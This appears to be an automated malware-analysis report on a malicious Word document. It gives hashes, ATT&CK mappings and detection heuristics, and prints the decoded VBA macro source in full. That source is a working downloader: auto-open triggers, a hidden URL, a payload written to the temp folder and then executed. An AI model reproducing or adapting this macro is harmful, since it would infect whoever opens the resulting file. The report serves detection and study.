Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29685ceb2b365ccc…

MALICIOUS

Office (OLE)

66.5 KB Created: 2014-11-24 11:39:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: f26cb0d400e1f842605077de2c231726 SHA-1: ceb50aedb480fea8d5518d495699864fb0acb616 SHA-256: 29685ceb2b365cccb57a1a4cf0dd196a456dda57b65e52f5616ffabfcb833c1c
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros. The AutoOpen and Workbook_Open macros trigger a function that utilizes the URLDownloadToFile API to download a payload. This indicates a macro-based downloader designed to execute a second-stage malicious file. The specific URL is obfuscated within the script, but the intent to download and execute is clear.

Heuristics 10

  • ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        gffUYUdfg = Shell(ewwfgfdg, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        ewwfgfdg = Environ(StrReverse("PMET")) & StrReverse("exe.fdsfsd\")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2552 bytes
SHA-256: 4570e50eb639ef6f3b27d85c86ac789422de530329ddfe334cd98e257c83e3ce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal JVHsdfdsf As LongPtr, _
    ByVal reewrgsdfg As String, _
    ByVal hjdfgdf As String, _
    ByVal werwe As Long, _
    ByVal iudfgdf As LongPtr) As LongPtr
#Else

    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal JVHsdfdsf As Long, _
    ByVal reewrgsdfg As String, _
    ByVal hjdfgdf As String, _
    ByVal werwe As Long, _
    ByVal iudfgdf As Long) As Long
#End If


Sub uiwefds()
UGivgHgfdg
End Sub
Sub AutoOpen()
    uiwefds
End Sub
Sub Workbook_Open()
    uiwefds
End Sub
Sub UGivgHgfdg()
    ewrwefdsf = oBKP("K!Ra#160", 56) & oBKP("K!Ra#172", 56) & oBKP("K!Ra#172", 56) & oBKP("K!Ra#168", 56) & oBKP("K!Ra#114", 56) & oBKP("K!Ra#103", 56) & oBKP("K!Ra#103", 56) & oBKP("K!Ra#171", 56) & oBKP("K!Ra#167", 56) & oBKP("K!Ra#164", 56) & _
oBKP("K!Ra#161", 56) & oBKP("K!Ra#156", 56) & oBKP("K!Ra#151", 56) & oBKP("K!Ra#161", 56) & oBKP("K!Ra#166", 56) & oBKP("K!Ra#171", 56) & oBKP("K!Ra#172", 56) & oBKP("K!Ra#153", 56) & oBKP("K!Ra#164", 56) & oBKP("K!Ra#102", 56) & _
oBKP("K!Ra#175", 56) & oBKP("K!Ra#102", 56) & oBKP("K!Ra#161", 56) & oBKP("K!Ra#166", 56) & oBKP("K!Ra#172", 56) & oBKP("K!Ra#157", 56) & oBKP("K!Ra#170", 56) & oBKP("K!Ra#161", 56) & oBKP("K!Ra#153", 56) & oBKP("K!Ra#102", 56) & _
oBKP("K!Ra#168", 56) & oBKP("K!Ra#164", 56) & oBKP("K!Ra#103", 56) & oBKP("K!Ra#162", 56) & oBKP("K!Ra#171", 56) & oBKP("K!Ra#103", 56) & oBKP("K!Ra#154", 56) & oBKP("K!Ra#161", 56) & oBKP("K!Ra#166", 56) & oBKP("K!Ra#102", 56) & _
oBKP("K!Ra#157", 56) & oBKP("K!Ra#176", 56) & oBKP("K!Ra#157", 56)
    ewwfgfdg = Environ(StrReverse("PMET")) & StrReverse("exe.fdsfsd\")
    wqewr = URLDownloadToFile(0&, ewrwefdsf, ewwfgfdg, 0&, 0&)
   Dim gffUYUdfg
    gffUYUdfg = Shell(ewwfgfdg, 1)

End Sub


Public Function oBKP(ByVal yLZy As String, ByVal Cjof As Integer) As String
Dim bcbL As Integer
Dim Lkln, rlys, LBry As String
Lkln = Chr(90 - 15) & Chr(50 - 17)
rlys = Lkln & Chr(100 - 18)
LBry = rlys & Chr(100 - 3) & Chr(50 - 15)
yLZy = Replace(yLZy, LBry, "")
bcbL = CInt(yLZy) - Cjof
ToBE = ToBE & Chr(bcbL)
oBKP = ToBE
End Function